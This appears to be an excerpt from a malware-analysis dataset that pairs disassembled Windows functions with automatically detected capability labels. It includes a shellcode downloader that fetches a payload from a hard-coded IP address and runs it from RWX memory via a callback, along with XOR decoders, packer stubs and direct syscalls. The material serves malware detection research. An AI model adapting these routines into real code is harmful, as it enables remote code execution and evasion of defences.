joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10001050
Capabilities:
Allocate or change rwx memory
Create http request
Enumerate gui resources
Execute shellcode via indirect call
Execute shellcode via windows callback function
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1000e82b
mov eax, dword fs:[0]
push eax
mov eax, 0x101c
call fcn.10004940
mov eax, dword [0x10013088]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor esi, esi
push esi
push esi
push esi
push 1
push str.ShellcodeDownloader
call dword [sym.imp.WININET.dll_InternetOpenW]
mov edi, eax
cmp edi, esi
je 0x100010bb
push esi
push SysReAllocString
push esi
push esi
push str.http:__205.234.171.170_175.bin
push edi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov ebx, eax
cmp ebx, esi
jne 0x100010c5
push edi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, 1
jmp 0x100011ab
xor eax, eax
mov dword [ebp - 0x1024], esi
mov dword [ebp - 0x1020], esi
mov dword [ebp - 0x101c], eax
mov dword [ebp - 4], eax
lea esp, [esp]
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea ecx, [ebp - 0x1010]
push ecx
push ebx
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x1000112b
mov edx, dword [ebp - 0x1014]
mov eax, dword [ebp - 0x1014]
push edx
lea ecx, [ebp - 0x1010]
push ecx
push esi
lea eax, [ebp + eax - 0x1010]
lea esi, [ebp - 0x1024]
call fcn.10001330
mov esi, dword [ebp - 0x1020]
cmp dword [ebp - 0x1014], 0
ja 0x100010e0
push ebx
mov ebx, dword [sym.imp.WININET.dll_InternetCloseHandle]
call ebx
push edi
call ebx
mov ebx, dword [ebp - 0x1024]
cmp ebx, esi
je 0x1000119c
push 0x40
mov edi, esi
push 0x1000
sub edi, ebx
push edi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
jne 0x10001178
test ebx, ebx
je 0x10001171
push ebx
call fcn.10002ae1
add esp, 4
mov eax, 1
jmp 0x100011ab
push edi
push ebx
push esi
call fcn.1000ae20
add esp, 0xc
push 0
push esi
push 0
call dword [sym.imp.USER32.dll_EnumDesktopsW]
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
test ebx, ebx
je 0x100011a9
push ebx
call fcn.10002ae1
add esp, 4
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10002aec
mov esp, ebp
pop ebp
ret
Function at 0x100021e0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x1000e900
mov eax, dword fs:[0]
push eax
sub esp, 0x28
push esi
mov eax, dword [0x10013088]
xor eax, esp
push eax
lea eax, [esp + 0x30]
mov dword fs:[0], eax
xor esi, esi
cmp dword [0x10014ec4], esi
je 0x100022b2
mov eax, 3
mov word [esp + 0xc], ax
mov dword [esp + 0x14], esi
mov dword [esp + 0x38], esi
mov ecx, eax
mov word [esp + 0x1c], cx
mov dword [esp + 0x24], esi
push edx
lea eax, [esp + 0x10]
push eax
mov byte [esp + 0x40], 1
call fcn.10001620
mov eax, dword [0x10014ec4]
lea edx, [esp + 8]
push edx
mov edx, dword [esp + 0x18]
mov dword [esp + 0xc], esi
mov ecx, dword [eax]
push edx
push eax
mov eax, dword [ecx + 0x34]
call eax
test eax, eax
js 0x1000229e
mov eax, dword [esp + 8]
cmp eax, esi
je 0x1000229e
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
mov esi, dword [sym.imp.OLEAUT32.dll_VariantCopy]
lea eax, [esp + 0x1c]
push eax
call esi
lea ecx, [esp + 0xc]
push ecx
call esi
mov eax, 1
mov ecx, dword [esp + 0x30]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret
mov esi, dword [sym.imp.OLEAUT32.dll_VariantCopy]
lea edx, [esp + 0x1c]
push edx
call esi
lea eax, [esp + 0xc]
push eax
call esi
xor eax, eax
mov ecx, dword [esp + 0x30]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10002430
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x1000e8a0
mov eax, dword fs:[0]
push eax
sub esp, 0x28
push esi
mov eax, dword [0x10013088]
xor eax, esp
push eax
lea eax, [esp + 0x30]
mov dword fs:[0], eax
xor esi, esi
cmp dword [0x10014ec4], esi
je 0x10002517
mov eax, 3
mov word [esp + 0x1c], ax
mov dword [esp + 0x24], esi
mov dword [esp + 0x38], esi
mov ecx, eax
mov word [esp + 0xc], cx
mov dword [esp + 0x14], esi
push edx
lea eax, [esp + 0x20]
push eax
mov byte [esp + 0x40], 1
call fcn.10001620
mov ecx, dword [ebp + 8]
push ecx
lea edx, [esp + 0x10]
push edx
call fcn.10001620
mov eax, dword [0x10014ec4]
lea edx, [esp + 8]
push edx
mov edx, dword [esp + 0x28]
mov dword [esp + 0xc], esi
mov ecx, dword [eax]
push edx
push eax
mov eax, dword [ecx + 0x34]
call eax
test eax, eax
js 0x10002503
mov ecx, dword [esp + 8]
cmp ecx, esi
je 0x10002503
mov edx, dword [ecx]
push esi
mov esi, dword [esp + 0x10]
sub esp, 0x10
mov eax, esp
mov dword [eax], esi
mov esi, dword [esp + 0x24]
mov dword [eax + 4], esi
mov esi, dword [esp + 0x28]
mov dword [eax + 8], esi
mov esi, dword [esp + 0x2c]
mov dword [eax + 0xc], esi
mov eax, dword [edx + 0x30]
push ecx
call eax
test eax, eax
mov eax, dword [esp + 8]
push eax
jns 0x1000252c
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
call edx
mov esi, dword [sym.imp.OLEAUT32.dll_VariantCopy]
lea eax, [esp + 0xc]
push eax
call esi
lea ecx, [esp + 0x1c]
push ecx
call esi
xor eax, eax
mov ecx, dword [esp + 0x30]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret 4
mov edx, dword [eax]
mov eax, dword [edx + 8]
call eax
mov esi, dword [sym.imp.OLEAUT32.dll_VariantCopy]
lea ecx, [esp + 0xc]
push ecx
call esi
lea edx, [esp + 0x1c]
push edx
call esi
mov eax, 1
mov ecx, dword [esp + 0x30]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x10002560
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x1000e8a0
mov eax, dword fs:[0]
push eax
sub esp, 0x28
push esi
mov eax, dword [0x10013088]
xor eax, esp
push eax
lea eax, [esp + 0x30]
mov dword fs:[0], eax
xor esi, esi
cmp dword [0x10014ec4], esi
je 0x1000266d
mov eax, 3
mov word [esp + 0x1c], ax
mov dword [esp + 0x24], esi
mov dword [esp + 0x38], esi
mov ecx, eax
mov word [esp + 0xc], cx
mov dword [esp + 0x14], esi
push edx
lea eax, [esp + 0x20]
push eax
mov byte [esp + 0x40], 1
call fcn.10001620
mov eax, dword [0x10014ec4]
lea edx, [esp + 8]
push edx
mov edx, dword [esp + 0x28]
mov dword [esp + 0xc], esi
mov ecx, dword [eax]
push edx
push eax
mov eax, dword [ecx + 0x34]
call eax
test eax, eax
js 0x10002659
mov eax, dword [esp + 8]
cmp eax, esi
je 0x10002659
mov ecx, dword [eax]
lea edx, [esp + 0x14]
push edx
push eax
mov eax, dword [ecx + 0x28]
call eax
mov eax, dword [esp + 8]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
mov esi, dword [sym.imp.OLEAUT32.dll_VariantCopy]
xor eax, eax
cmp ax, word [esp + 0x14]
jne 0x10002635
lea ecx, [esp + 0xc]
push ecx
call esi
lea edx, [esp + 0x1c]
push edx
call esi
xor eax, eax
mov ecx, dword [esp + 0x30]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret
lea eax, [esp + 0xc]
push eax
call esi
lea ecx, [esp + 0x1c]
push ecx
call esi
mov eax, 1
mov ecx, dword [esp + 0x30]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret
mov esi, dword [sym.imp.OLEAUT32.dll_VariantCopy]
lea edx, [esp + 0xc]
push edx
call esi
lea eax, [esp + 0x1c]
push eax
call esi
xor eax, eax
mov ecx, dword [esp + 0x30]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x10002aec
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10013088]
jne 0x10002af6
repz ret
jmp fcn.10003dfa
Function at 0x10008845
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x10013088]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.1000595c
and dword [ebp - 0x14], 0
cmp dword [0x10014e70], 0
mov dword [ebp - 0x18], eax
jne 0x100088f8
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x100089a0
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x100089a0
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x10014e70], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x10014e74], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x10014e78], eax
call edi
push eax
call esi
mov dword [0x10014e80], eax
test eax, eax
je 0x100088f8
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x10014e7c], eax
mov eax, dword [0x10014e7c]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x10008951
cmp dword [0x10014e80], ecx
je 0x10008951
push eax
call esi
push dword [0x10014e80]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x10008951
test ebx, ebx
je 0x10008951
call edi
test eax, eax
je 0x10008948
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x10008948
test byte [ebp - 8], 1
jne 0x10008951
or dword [ebp + 0x10], 0x200000
jmp 0x10008984
mov eax, dword [0x10014e74]
cmp eax, dword [ebp - 0x18]
je 0x10008984
push eax
call esi
test eax, eax
je 0x10008984
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x10008984
mov eax, dword [0x10014e78]
cmp eax, dword [ebp - 0x18]
je 0x10008984
push eax
call esi
test eax, eax
je 0x10008984
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x10014e70]
call esi
test eax, eax
je 0x100089a0
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x100089a2
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10002aec
leave
ret
Function at 0x418f10
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
xor edx, edx
mov eax, edx
and eax, 1
sub eax, 1
not eax
and eax, 0xedb88320
mov ecx, edx
shr ecx, 1
xor eax, ecx
mov ecx, eax
and ecx, 1
sub ecx, 1
not ecx
and ecx, 0xedb88320
shr eax, 1
xor ecx, eax
mov eax, ecx
and eax, 1
sub eax, 1
shr ecx, 1
not eax
and eax, 0xedb88320
xor eax, ecx
mov ecx, eax
and ecx, 1
sub ecx, 1
not ecx
and ecx, 0xedb88320
shr eax, 1
xor ecx, eax
mov eax, ecx
and eax, 1
sub eax, 1
shr ecx, 1
not eax
and eax, 0xedb88320
xor eax, ecx
mov ecx, eax
and ecx, 1
sub ecx, 1
not ecx
and ecx, 0xedb88320
shr eax, 1
xor ecx, eax
mov eax, ecx
and eax, 1
sub eax, 1
shr ecx, 1
not eax
and eax, 0xedb88320
xor eax, ecx
mov ecx, eax
and ecx, 1
sub ecx, 1
not ecx
and ecx, 0xedb88320
shr eax, 1
xor ecx, eax
mov dword [edx*4 + 0x420de0], ecx
add edx, 1
cmp edx, 0x100
jb 0x418f12
cmp edx, 0x800
jae 0x418ffb
mov edi, edi
mov eax, dword [edx*4 + 0x4209e0]
mov ecx, eax
and ecx, 0xff
shr eax, 8
xor eax, dword [ecx*4 + 0x420de0]
add edx, 1
cmp edx, 0x800
mov dword [edx*4 + 0x420ddc], eax
jb 0x418fd0
mov dword [0x420dbc], 0x4196b0
call fcn.00419140
test eax, eax
jne 0x419018
mov dword [0x420dbc], 0x4195d0
ret

Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40c7d0
mov ecx, 0x1da17ed6
nop
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x43204e
nop
nop
nop
xor dword [eax], ecx
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x432024
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x42f314
mov ecx, 0x75640c7d
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x432084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x43206c
nop
nop
nop
nop
nop
popal
nop
jmp 0x431219
Function at 0x430040
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x24000]
push edi
or ebp, 0xffffffff
jmp 0x430062
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x430069
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x430058
mov eax, 1
add ebx, ebx
jne 0x43007b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x430070
jne 0x43008c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x430070
xor ecx, ecx
sub eax, 3
jb 0x4300a0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x430112
mov ebp, eax
add ebx, ebx
jne 0x4300ab
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x4300b8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x4300dc
inc ecx
add ebx, ebx
jne 0x4300c8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x4300bd
jne 0x4300d9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4300bd
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x4300fc
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x4300ed
jmp 0x43005e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x4300fc
add edi, ecx
jmp 0x43005e
pop esi
mov edi, esi
mov ecx, 0xcc0
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x43011a
cmp byte [edi], 9
jne 0x43011a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x43011f
lea edi, [esi + 0x2d000]
mov eax, dword [edi]
or eax, eax
je 0x43018e
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x3e668]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x3e6e0]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x43014c
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x3e6e4]
or eax, eax
je 0x430188
mov dword [ebx], eax
add ebx, 4
jmp 0x430169
call dword [esi + 0x3e6e8]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x4301bf
cmp al, 0xef
ja 0x4301b2
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x430194
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x4301a1
popal
jmp 0x417220

Function at 0x40300d
Capabilities:
Terminate process

Disassembly:
mov dword [0x402020], eax
call dword [sym.imp.kernel32.dll_GetTickCount]
call dword [sym.imp.kernel32.dll_GetVersion]
mov edx, eax
xor edi, edi
xor esi, esi
push dword [0x4035d8]
call dword [sym.imp.winmm.dll_waveInClose]
add eax, 6
test eax, 0xb
jne 0x403046
push 0
call dword [sym.imp.kernel32.dll_ExitProcess]
mov edx, eax
ret
Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x438cb3
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0x438a14
push 0xde531d32
pop edi
and ebx, edi
call fcn.00438ce7
sub ebx, 0x8481e82a
xor dword [ecx], eax
mov ebx, edi
or ebx, ebx
mov ebx, 0xa63f1bf3
inc ecx
push edi
pop edi
sub edi, ebx
cmp ecx, esi
jne fcn.00438cb3
dec edi
and edi, edi
sub ebx, ebx
ret

Function at 0x433002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..text
nop
push 4
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
je 0x433072
nop
mov ebx, 0x40de38
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
nop
div edi
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x346c5cc2
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x433060
nop
nop
nop
mov eax, section..data
cmp eax, 0
nop
nop
nop
nop
nop
nop
je 0x4330d2
nop
nop
mov ebx, 0x4304d8
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
push eax
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x1be8712b
nop
nop
nop
nop
xor dword [eax], esi
nop
add eax, edi
nop
nop
nop
nop
nop
nop
nop
loop 0x4330c0
popal
nop
nop
nop
nop
nop
jmp 0x431219
Function at 0x6bf370
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, dword [esp + 4]
push ebx
push esi
push edi
push 0x1a
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
test esi, esi
jne 0x6bf38e
pop edi
pop esi
xor al, al
pop ebx
ret
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push 0
mov edi, eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ecx, dword [esp + 0x14]
push 0x6e8074
push ecx
mov edi, eax
call fcn.006d3198
mov esi, eax
add esp, 8
test esi, esi
jne 0x6bf3cb
pop edi
pop esi
xor al, al
pop ebx
ret
push esi
push ebx
push 1
push edi
call fcn.006d302e
push esi
call fcn.006d2fb1
add esp, 0x14
mov al, 1
pop edi
pop esi
pop ebx
ret
Function at 0x6c2850
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 4]
sub esp, 0x218
lea eax, [esp]
push ebp
push esi
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
push eax
push 0x20019
push 0
push ecx
push SysReAllocString
call edi
test eax, eax
jne 0x6c28ae
mov ecx, dword [esp + 0xc]
mov ebp, dword [sym.imp.ADVAPI32.dll_RegQueryValueW]
lea edx, [esp + 0x10]
lea eax, [esp + 0x1c]
push edx
push eax
push 0x6ed720
push ecx
mov dword [esp + 0x20], 0x104
call ebp
test eax, eax
je 0x6c28ba
mov edx, dword [esp + 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
pop edi
pop esi
pop ebp
add esp, 0x218
ret
mov eax, dword [esp + 0xc]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push eax
call esi
lea ecx, [esp + 0x1c]
push str.DefaultIcon
push ecx
call fcn.006d31e1
add esp, 8
lea edx, [esp + 0xc]
lea eax, [esp + 0x1c]
push edx
push 0x20019
push 0
push eax
push SysReAllocString
call edi
test eax, eax
jne 0x6c28ae
mov eax, dword [esp + 0xc]
lea ecx, [esp + 0x10]
lea edx, [esp + 0x1c]
push ecx
push edx
push 0x6ed720
push eax
mov dword [esp + 0x20], 0x104
call ebp
test eax, eax
je 0x6c292a
mov ecx, dword [esp + 0xc]
push ecx
call esi
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x218
ret
mov edx, dword [esp + 0xc]
push edx
call esi
lea eax, [esp + 0x1c]
push 0x2c
push eax
call fcn.006d4082
xor esi, esi
add esp, 8
cmp eax, esi
je 0x6c2957
mov word [eax], si
add eax, 2
push eax
call fcn.006d4030
add esp, 4
jmp 0x6c2959
xor eax, eax
lea ecx, [esp + 0x18]
push 1
lea edx, [esp + 0x18]
push ecx
push edx
push eax
lea eax, [esp + 0x2c]
mov dword [esp + 0x24], esi
push eax
mov dword [esp + 0x2c], esi
call dword [sym.imp.SHELL32.dll_ExtractIconExW]
test eax, eax
je 0x6c28ae
mov al, byte [esp + 0x22c]
test al, al
mov eax, dword [esp + 0x14]
jne 0x6c28b0
mov eax, dword [esp + 0x18]
pop edi
pop esi
pop ebp
add esp, 0x218
ret

Function at 0x6c2ff0
Capabilities:
Execute syscall

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
lea edx, [ebp + 0xc]
int 0x2e
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x6c3080
Capabilities:
Get common file path

Disassembly:
sub esp, 0x43c
push esi
mov esi, dword [esp + 0x444]
cmp word [esi + 2], 0x3a
je 0x6c30c4
lea eax, [esp + 0x30]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
lea ecx, [esp + 0x30]
push 0x6e8458
push ecx
call fcn.006d31e1
lea edx, [esp + 0x38]
push esi
push edx
call fcn.006d31e1
add esp, 0x10
jmp 0x6c30d2
lea eax, [esp + 0x30]
push esi
push eax
call fcn.006d320b
add esp, 8
lea ecx, [esp + 0x30]
lea edx, [esp + 0x238]
push ecx
push str.___s
push edx
call fcn.006d2dff
lea eax, [esp + 0x244]
lea ecx, [esp + 0x2c]
push eax
push ecx
call fcn.006c3050
mov eax, dword [0x6ed728]
xor esi, esi
add esp, 0x14
lea edx, [esp + 0x20]
cmp eax, esi
mov dword [esp + 8], 0x18
mov dword [esp + 0xc], esi
mov dword [esp + 0x14], 0x40
mov dword [esp + 0x10], edx
mov dword [esp + 0x18], esi
mov dword [esp + 0x1c], esi
jne 0x6c313b
push esi
call fcn.006c2fb0
add esp, 4
mov dword [0x6ed728], eax
mov ecx, dword [esp + 0x454]
cmp ecx, 3
jne 0x6c314c
mov ecx, 1
mov edx, dword [esp + 0x458]
push esi
push esi
push 0x20
push ecx
mov ecx, dword [esp + 0x45c]
push ecx
push edx
lea ecx, [esp + 0x40]
push esi
push ecx
mov ecx, dword [esp + 0x468]
lea edx, [esp + 0x28]
or ecx, 0x100000
push edx
lea edx, [esp + 0x28]
push ecx
push edx
push eax
call fcn.006c2ff0
mov ecx, dword [esp + 0x34]
add esp, 0x30
neg eax
sbb eax, eax
pop esi
not eax
and eax, ecx
add esp, 0x43c
ret

Function at 0x6c6440
Capabilities:
Enumerate pe sections

Disassembly:
mov ecx, dword [esp + 8]
push ebx
mov ebx, dword [ecx + 0x88]
test ebx, ebx
je 0x6c64b7
push esi
xor eax, eax
mov ax, word [ecx + 0x14]
xor esi, esi
mov si, word [ecx + 6]
push edi
xor edi, edi
lea eax, [eax + ecx + 0x18]
test esi, esi
jbe 0x6c648e
mov ecx, dword [eax + 8]
test ecx, ecx
jne 0x6c6471
mov ecx, dword [eax + 0x10]
mov edx, dword [eax + 0xc]
cmp ebx, edx
jb 0x6c647e
add edx, ecx
cmp ebx, edx
jb 0x6c648a
inc edi
add eax, 0x28
cmp edi, esi
jb 0x6c6467
xor ecx, ecx
jmp 0x6c64a2
test eax, eax
jne 0x6c6492
xor ecx, ecx
jmp 0x6c64a2
mov ecx, dword [eax + 0x14]
mov esi, dword [eax + 0xc]
mov eax, dword [esp + 0x10]
sub ecx, esi
add ecx, ebx
add ecx, eax
mov edx, dword [esp + 0x18]
push edx
push 0
push 0
push ecx
push ecx
call fcn.006c63c0
add esp, 0x14
pop edi
pop esi
pop ebx
ret
Function at 0x6c68f0
Capabilities:
Get file size
Read file via mapping

Disassembly:
push ebx
mov eax, dword [esp + 8]
push ebp
push esi
push edi
push 0
push 0x80
push 3
push 0
push 1
push SysReAllocString
push eax
xor bl, bl
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
jne 0x6c6921
pop edi
pop esi
pop ebp
xor al, al
pop ebx
ret
push 0
push 0
push 0
push 2
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov ebp, eax
test ebp, ebp
jne 0x6c6946
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
xor al, al
pop ebx
ret
push 0
push 0
push 0
push 4
push ebp
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov esi, eax
test esi, esi
jne 0x6c696e
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebp
call esi
push edi
call esi
pop edi
pop esi
pop ebp
xor al, al
pop ebx
ret
push 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ecx, dword [esp + 0x18]
mov dword [ecx], esi
mov dword [ecx + 4], eax
cmp word [esi], 0x5a4d
jne 0x6c6993
push ecx
push esi
call fcn.006c64c0
add esp, 8
mov bl, al
push esi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebp
call esi
push edi
call esi
pop edi
pop esi
mov al, bl
pop ebp
pop ebx
ret